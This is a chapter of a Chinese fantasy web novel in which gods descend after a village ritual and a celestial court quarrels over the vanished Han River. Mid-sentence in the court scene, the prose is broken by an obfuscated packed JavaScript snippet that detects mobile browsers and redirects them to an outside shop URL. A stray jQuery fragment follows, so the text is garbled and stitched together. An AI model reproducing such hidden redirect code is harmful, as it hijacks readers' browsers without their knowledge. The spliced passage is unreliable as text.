天地突生异变,黑云压城,聚集在花车高台之上盘旋,彷佛下一秒就会俯冲而下,将他们都吞噬殆尽。没有人知道这究竟是不是正常的,上一次娱神已经是四十余年前,见过的老人们大多都已经不在了。
鼓乐暂停,在场的所有人都紧张极了,屏息凝神,等待最终的那刻来临。太子站在高台之上,遥望花车的帘幕被风刮的四处飘摆,世子与其遥相对望。
紫薇星宫的主人掐诀念咒,裕王感到身体被一股怪力把持着,朝向那个人皮拼凑的“魔尊”斩去。
黑云凝固微缩在其身后,张开獠牙咆哮,巨雷轰袭。
所有人的眼前就是白茫茫一片闪电。
“我的亲娘嘞,这还真行啊......”牛二喃喃自语。
神的降临一般都伴有异象,瓢泼大雨随即而来,可这次却没有被土地立即吸走。牛二最不看好的傻弟弟,正紧闭双眼漂浮于空中,所有人都为这水欣喜若狂,却又不敢擅动。一同扮演娱神戏的孩子门静静站立在雨中,澄澈的瞳孔蒙上一层白翳,似醒而非醒。
要不是村里人刚刚都在旁边看着,牛二简直怀疑这又是自己做的一场梦,小孩子过家家般演了一出闹剧而已。可当饰演神女的女孩儿杀死了“魔煞天尊”并“飞升”之后,小阿牛留下,拿出那根树枝斩成六截,分别放于六个“魔尊”身上后,一切都不一样了。
可怕的威压从上至下而来,跟他们进城见官老爷那种感觉完全不同,让人心中紧张害怕又欢喜。像害怕火焰灼伤又期待它带来的温暖,恐惧水流窒息又无法抵御干渴,担忧跌入深谷又崇尚高山之颠。
神与人已经是完全不同的物种了。
凡人会天然期待这些不老不死不伤不痛,又拥有强大力量的造物,跟自己天然站在同一阵营。然而因为力量的差距,又无法平等对话。
于是战战兢兢的跪下,可怜兮兮的寻求帮助和拯救。
神睁开眼睛,问道:
“我的子孙竟已沦落到如此境地?”
牛二的心猛地向下一坠。不对!神女虽有男相,但降临人间时多以本相示人。而且神女飞升之时并未成婚,哪里来的子孙后代?
难不成自己真的招来了什么歪魔邪道?
他鼓起勇气抬头一看,便瞬间打消了这个念头,光明慈悲,法相庄严,虽是个年轻的男神,可看着怎么也不至于去害人的。
“请尊上救苦救难,不要将汉水尽数收回天上,给我们这些可怜的庄稼人一点活路吧!”村长带领众人一齐朝他跪拜,恨不得以头抢地。
而万里之外的都城中,一位冷酷的女神正亲手扶起跪伏在地上的世子:
“告诉我,你受到了何等不公?”
天庭上,碧諕元君看着玉清天中的景象,疯狂扯起头发:“完了完了完了,怎么把这两个祖宗给搞混了!!!”
世子何等机敏,当下便知道来的根本不是那位老祖宗,但也随机应变抓紧机会说出疑问:“汉水枯竭,流民四起,天下大乱,敢问尊上,可是神州皇室犯下大错,引来天谴所至?下民愿加倍供奉,兴建庙宇,诚心朝拜,是否还能挽回您的垂怜?”
“你说谁收走了汉水?”
“汉水枯竭了?”
这两位天庭最有权势的神,几乎同时问出了这个问题,可还没等到那渺小凡人的回答,便被强行召回了分身。
孩子们倒在地上,口眼耳鼻皆出鲜血。
裕王瘫在自己的便溺之中抽搐。
牛二冲过去抱住自己的小弟。
世子后退一步,颇为嫌弃的看着自己父亲。
碧諕元君胆颤心惊,他本是天庭之中最爱美的神仙,此刻却顶着凌乱的头发只着素衣,躲在府中瑟瑟发抖啃手指。
小童抱了一把流光溢彩的纱绸披到他身上安抚道:“元君不必担心,圣君是您堂亲,定然不会为了小错而责罚于您。”
“你不懂,我怕的不是他。我本不欲插手灵微和明镜的斗法,可偏偏又出了这么件大事,恐怕不能善了啊。”
金阙瑶台之中,灵微圣君高坐明堂,两侧候着众仙娥,台下依次站着众神仙,左侧是以昭法明镜真君为首的飞升派,右侧是以镇央星君为首的原始神。从两番人马泾渭分明的态度便可看出其完全不对付,灵微圣君并非原始神出身,上代帝君仙逝后由他继位已是引得诸多不满,如今自是不敢偏向哪边。
灵微圣君同昭法明镜真君不对付倒是神尽皆知,因为前代帝君想要撮合二人姻缘,却被昭法真君以神仙不得私自结亲为由拒绝,使得灵微圣君颜面尽失。这本是两派和解的大好开端,却被这个修行无情道的女人阻碍,不仅如此,圣君入主金阙瑶台后,又被她时刻监管着错漏,几次三番下来,倒结上了仇。
那些自视高贵的原始神乐见昭法出现错漏,且等着她被叱责。
但这可不是一个小小的失误,汉水关系着成千上万人的生计,稍有不慎,便是生灵涂炭,甚至可能会左右王朝的更替。碧諕元君就是再不愿搅合进来,如今也被抓过来见证,他是掌管玉清天的主神,可见人世间动态变更。
“碧諕,你是眼瞎不成?汉水枯竭,三万五千里的水脉消失不见,你竟然未曾发现。现在要治你一个玩忽职守之醉,你可认?”
他就知道这个便宜堂弟必定要先拿自己开刀,直接向昭法发难,两边不打起来才怪,只能硬着头发回答:“回禀圣君,玉清天中并没有显示水脉消失,因此小仙不曾示警。”
玉清天是一处混沌灵台,天地灵脉交织而成,万事万物容纳其中,下层暗线勾勒的是凡间山川岛屿大河版图的走向动势,上层光点浮动的是天庭诸神命数位置;线不断则凡间安然无恙,点不隐则无神明陨落。
传闻玉清天是归墟的一部分,被初代天尊求取,只有原始神一脉才可催动其运行。
昭法掐诀,一根银色的脉络自其额头开始显现跃动:“未到祓禊之时,我不能擅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719666|144830||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
入人间。如若汉水有失,印刻自会提醒。”
正神飞升之后,不可随意降临人间,昭法真君也不例外。作为司法天神,只有每天春季祓禊之时,才会派遣众多分身前往人间,惩恶扬善维护公平正义,也不过只能停留十二个时辰而已。除此之外,她还要负责天庭的法纪纲常,因此得罪了许多人。只是因为她够强够狠,且以身作则,使得诸神对其畏惧更多罢了。
大多神明只会通过玉清天来监管自己负责的区域,处理信徒祈愿,碧諕元君将点线相连即可。但玉清天毕竟模糊,只能呈现一个大约,事务一旦庞杂,便无法清晰的得知下界情形,凡人恳求不灵,大多是这个原因。而昭法却将线种进了自己的躯体,一旦有异,则灼筋磨骨,一刻不得安宁。
今年轮值的曦照星君颇为不屑:“圣君已然亲自下界瞧过了,还能骗大家不成。昭法真君事务繁忙,一时有失也就罢了,何苦还在这里寻找各种借口。若是真的不想处理,便让出这汉水神使的位置,现如今还有百位飞升的新神没有官位,只能做些乞巧之类的小活呢。”
他是镇央星君坐下第一大将,性格桀骜目中无人,对于昭法和自己老大能平起平坐这件事情十分不满,一有机会就要找事儿。
可对面那位,才真是刺头中的刺头,连对上灵微圣君也只是十令五从而已,何况这个她根本不放在眼里的小杂碎。
流水错金剑重五万九千斤,若是挨上一下,哪怕是星星,恐怕也得分崩离析。剑风掀起的气流吹散了笼罩在金阙瑶台右侧的祥云,有些法力微弱的小神差点被一起吹跑。剑锋堪堪就要划到曦照的脸上,镇央星君召出玄铁烈尖枪格挡,神兵对冲的威压又吹散了对面的祥云,倒霉的仙娥们被吹的披头散发。
“真是条好狗,你家主人尚不曾开口,便迫不及待要撕咬一番。”剑回到昭法手中,错金虎豹纹自剑刃上流动脱出,避开枪锋,在曦照的嘴上左右各撕开一道裂口。
闪耀的星君们没有一个不看重脸面,尤其是以俊美著称的曦照,被神兵所伤的伤口一时难以自愈,他恐怕得带着这两道滑稽的伤疤好一段时间了。
“你!”曦照羞恼至极,一开口又牵动伤口,好不狼狈。
镇央星君一把将他摁回:“昭法星君有些过了吧。都是同僚,何须大动干戈,将这圣洁的金阙瑶台弄得污糟不堪。”
众人这才好回头看,灵微圣君是他们当中年纪最小的,本就难以服众。日日梳得老成板正发髻,此时碎发零落,更显得青涩,连站在远处的女神们都要探过来看他脸颊上浮起的薄红。
“放肆!这里岂是你们逞凶斗狠的地方!”
主神震怒,嘈杂即刻停止,各归各位。
昭法拱手示歉,弘音传耳:“吾乃汉水主神,必将为其负起责任,现请帝君允许我的分身下凡查探。”
霎时又是一片哗然,灵微圣君竟不顾自持,从明堂上急切的跨步下来:
“你当真愿意下凡?”